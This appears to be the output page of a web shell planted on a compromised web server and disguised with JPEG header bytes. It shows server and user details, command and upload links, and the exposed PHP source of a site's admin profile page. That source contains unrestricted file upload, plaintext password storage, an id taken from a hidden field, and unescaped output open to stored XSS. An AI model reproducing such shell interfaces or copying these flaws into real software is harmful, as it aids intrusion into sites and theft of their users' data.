����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 3.138.204.67 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/.well-known/../../www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include('db.php'); include('job/admin_header.php'); include('admin_sidebar.php'); $fullname=$_SESSION['fullname']; $lid=$_SESSION['id']; if (isset($_POST['save'])) { $id=$_POST['id']; $fullname=$_POST['fullname']; $about=$_POST['about']; $company=$_POST['company']; $job=$_POST['job']; $address=$_POST['address']; $phone=$_POST['phone']; $email=$_POST['email']; $image=$_FILES['image']; $oldimage=$_POST['oldimage']; if (isset($_FILES['image']['name'])&&($_FILES['image']['name']!="")){ $newimage=$_FILES['image']['name']; //unlink($oldimage); $destinationfile='assets/img/'.$newimage; move_uploaded_file($_FILES['image']['tmp_name'], $destinationfile); } else{ $newimage=$oldimage; } $insert2 = $conn->prepare("UPDATE `admin` SET `fullname`=?,`about`=?,`company`=?,`address`=?,`phone`=?,`email`=?,`image`=? WHERE id=?" ); $insert2->bind_param("ssssssss",$fullname,$about,$company,$address,$phone,$email,$newimage,$id); $res=$insert2->execute(); if($res) { $_SESSION['status']="Updated Successfully"; $_SESSION['status_code']="success"; } else { $_SESSION['status']="Oops something went wrong!!"; $_SESSION['status_code']="error"; } } if (isset($_POST['pass'])) { $id=$_POST['id']; $newpassword=$_POST['newpassword']; $insert4 = $conn->prepare("UPDATE `admin` SET `password`=? WHERE id=?" ); $insert4->bind_param("ss",$newpassword,$id); $res=$insert4->execute(); if($res) { $_SESSION['status']="Updated Successfully"; $_SESSION['status_code']="success"; } else { $_SESSION['status']="Oops something went wrong!!"; $_SESSION['status_code']="error"; } } ?> <?php $sql = "SELECT * FROM admin WHERE id = '$lid' "; $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { ?> <main id="main" class="main"> <div class="pagetitle"> <h1>Profile</h1> <nav> <ol class="breadcrumb"> <li class="breadcrumb-item"><a href="admin.php">Home</a></li> <li class="breadcrumb-item">Users</li> <li class="breadcrumb-item active">Profile</li> </ol> </nav> </div> <!-- End Page Title --> <section class="section profile"> <div class="row"> <div class="col-xl-4"> <div class="card"> <div class="card-body profile-card pt-4 d-flex flex-column align-items-center"> <img src="<?php echo 'assets/img'."/". $row['image'] ; ?>" alt="Profile" class="rounded-circle"> <h2><?php echo $row['fullname'];?></h2> <h3><?php echo $row['job'];?></h3> <div class="social-links mt-2"> <a href="#" class="twitter"><i class="bi bi-twitter"></i></a> <a href="#" class="facebook"><i class="bi bi-facebook"></i></a> <a href="#" class="instagram"><i class="bi bi-instagram"></i></a> <a href="#" class="linkedin"><i class="bi bi-linkedin"></i></a> </div> </div> </div> </div> <div class="col-xl-8"> <div class="card"> <div class="card-body pt-3"> <!-- Bordered Tabs --> <ul class="nav nav-tabs nav-tabs-bordered"> <li class="nav-item"> <button class="nav-link active" data-bs-toggle="tab" data-bs-target="#profile-overview">Overview</button> </li> <li class="nav-item"> <button class="nav-link" data-bs-toggle="tab" data-bs-target="#profile-edit">Edit Profile</button> </li> <li class="nav-item"> <button class="nav-link" data-bs-toggle="tab" data-bs-target="#profile-settings">Edit Banking Details</button> </li> <li class="nav-item"> <button class="nav-link" data-bs-toggle="tab" data-bs-target="#profile-change-password">Change Password</button> </li> </ul> <div class="tab-content pt-2"> <div class="tab-pane fade show active profile-overview" id="profile-overview"> <h5 class="card-title">About</h5> <p class="small fst-italic"><?php echo $row['about'];?></p> <h5 class="card-title">Profile Details</h5> <div class="row"> <div class="col-lg-3 col-md-4 label ">Full Name</div> <div class="col-lg-9 col-md-8"><?php echo $row['fullname'];?></div> </div> <div class="row"> <div class="col-lg-3 col-md-4 label">Company</div> <div class="col-lg-9 col-md-8"><?php echo $row['company'];?></div> </div> <div class="row"> <div class="col-lg-3 col-md-4 label">Address</div> <div class="col-lg-9 col-md-8"><?php echo $row['address'];?></div> </div> <div class="row"> <div class="col-lg-3 col-md-4 label">Phone</div> <div class="col-lg-9 col-md-8"><?php echo $row['phone'];?></div> </div> <div class="row"> <div class="col-lg-3 col-md-4 label">Email</div> <div class="col-lg-9 col-md-8"><?php echo $row['email'];?></div> </div> </div> <div class="tab-pane fade profile-edit pt-3" id="profile-edit"> <!-- Profile Edit Form --> <form method="post" enctype="multipart/form-data"> <div class="row mb-3"> <label for="profileImage" class="col-md-4 col-lg-3 col-form-label">Profile Image</label> <div class="col-md-8 col-lg-9"> <!-- <img src="assets/img/profile-img.jpg" alt="Profile"> --> <input type="hidden" class="form-control" name="oldimage" value="<?= $row['image']; ?>"> <img src="<?php echo 'assets/img'."/". $row['image'] ; ?>" width="120" class="img-thumbnail" > <div class="pt-2"> <!-- <a href="#" class="btn btn-primary btn-sm" title="Upload new profile image"><i class="bi bi-upload"></i></a> <a href="#" class="btn btn-danger btn-sm" title="Remove my profile image"><i class="bi bi-trash"></i></a> --> <input type="file" name="image" class="btn btn-primary btn-sm" style="background-image: radial-gradient( circle farthest-corner at 10.2% 55.8%, rgb(15 13 14) 0%, rgb(22 19 21) 46.2%, rgb(182 23 177) 90.1% );"> </div> </div> </div> <div class="row mb-3"> <label for="fullName" class="col-md-4 col-lg-3 col-form-label">Full Name</label> <div class="col-md-8 col-lg-9"> <input name="fullname" type="text" class="form-control" id="fullName" value="<?php echo $row['fullname'];?>"> <input type="hidden" name="id" class="form-control" value="<?php echo $row['id'];?>"> </div> </div> <div class="row mb-3"> <label for="about" class="col-md-4 col-lg-3 col-form-label">About</label> <div class="col-md-8 col-lg-9"> <textarea name="about" class="form-control" id="about" style="height: 100px"><?php echo $row['about'];?></textarea> </div> </div> <div class="row mb-3"> <label for="company" class="col-md-4 col-lg-3 col-form-label">Company</label> <div class="col-md-8 col-lg-9"> <input name="company" type="text" class="form-control" id="company" value="<?php echo $row['company'];?>"> </div> </div> <div class="row mb-3"> <label for="Address" class="col-md-4 col-lg-3 col-form-label">Address</label> <div class="col-md-8 col-lg-9"> <input name="address" type="text" class="form-control" id="Address" value="<?php echo $row['address'];?>"> </div> </div> <div class="row mb-3"> <label for="Phone" class="col-md-4 col-lg-3 col-form-label">Phone</label> <div class="col-md-8 col-lg-9"> <input name="phone" type="text" class="form-control" id="Phone" value="<?php echo $row['phone'];?>"> </div> </div> <div class="row mb-3"> <label for="Email" class="col-md-4 col-lg-3 col-form-label">Email</label> <div class="col-md-8 col-lg-9"> <input name="email" type="email" class="form-control" id="Email" value="<?php echo $row['email'];?>"> </div> </div> <div class="text-center"> <button type="submit" name="save" class="btn btn-primary"type="submit" name="form" class="btn btn-primary" style="background-image: radial-gradient( circle farthest-corner at 10.2% 55.8%, rgb(15 13 14) 0%, rgb(22 19 21) 46.2%, rgb(182 23 177) 90.1% );">Save Changes</button> </div> </form> <!-- End Profile Edit Form --> </div> <script> function matchPassword() { var pw1 = document.getElementById("newpassword"); var pw2 = document.getElementById("repassword"); if(pw1 != pw2) { alert("Passwords did not match"); } else { // alert("Password created successfully"); } } </script> <div class="tab-pane fade pt-3" id="profile-change-password"> <!-- Change Password Form --> <form method="post"> <div class="row mb-3"> <label for="currentPassword" class="col-md-4 col-lg-3 col-form-label">Current Password</label> <div class="col-md-8 col-lg-9"> <input name="password" type="text" class="form-control" id="currentPassword"> <input type="hidden" name="id" class="form-control" value="<?php echo $row['id'];?>"> </div> </div> <div class="row mb-3"> <label for="newPassword" class="col-md-4 col-lg-3 col-form-label">New Password</label> <div class="col-md-8 col-lg-9"> <input name="newpassword" type="text" class="form-control" id="newPassword"> </div> </div> <div class="row mb-3"> <label for="renewPassword" class="col-md-4 col-lg-3 col-form-label">Re-enter New Password</label> <div class="col-md-8 col-lg-9"> <input name="repassword" type="password" class="form-control" id="renewPassword"> </div> </div> <div class="text-center"> <button type="submit" name="pass" class="btn btn-primary" onclick="matchPassword()"style="background-image: radial-gradient( circle farthest-corner at 10.2% 55.8%, rgb(15 13 14) 0%, rgb(22 19 21) 46.2%, rgb(182 23 177) 90.1% );">Change Password</button> </div> </form> <!-- End Change Password Form --> </div> <?php } } ?> </div> <!-- End Bordered Tabs --> </div> </div> </div> </div> </section> </main> <!-- End #main --> <script src="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/2.1.2/sweetalert.min.js" integrity="sha512-AA1Bzp5Q0K1KanKKmvN/4d3IRKVlv9PYgwFPvm32nPO6QS8yH1HO7LbgB1pgiOxPtfeg5zEn2ba64MUcqJx6CA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <?php if(isset($_SESSION['status']) && $_SESSION['status']!='') { ?> <script> new swal({ title: "<?php echo $_SESSION['status'];?>", //text: "You clicked the button!", icon: "<?php echo $_SESSION['status_code'];?>", button: "OK", }).then(function() { window.location = ""; }); </script> <?php unset($_SESSION['status']); } ?> <?php include "footer.php"; ?>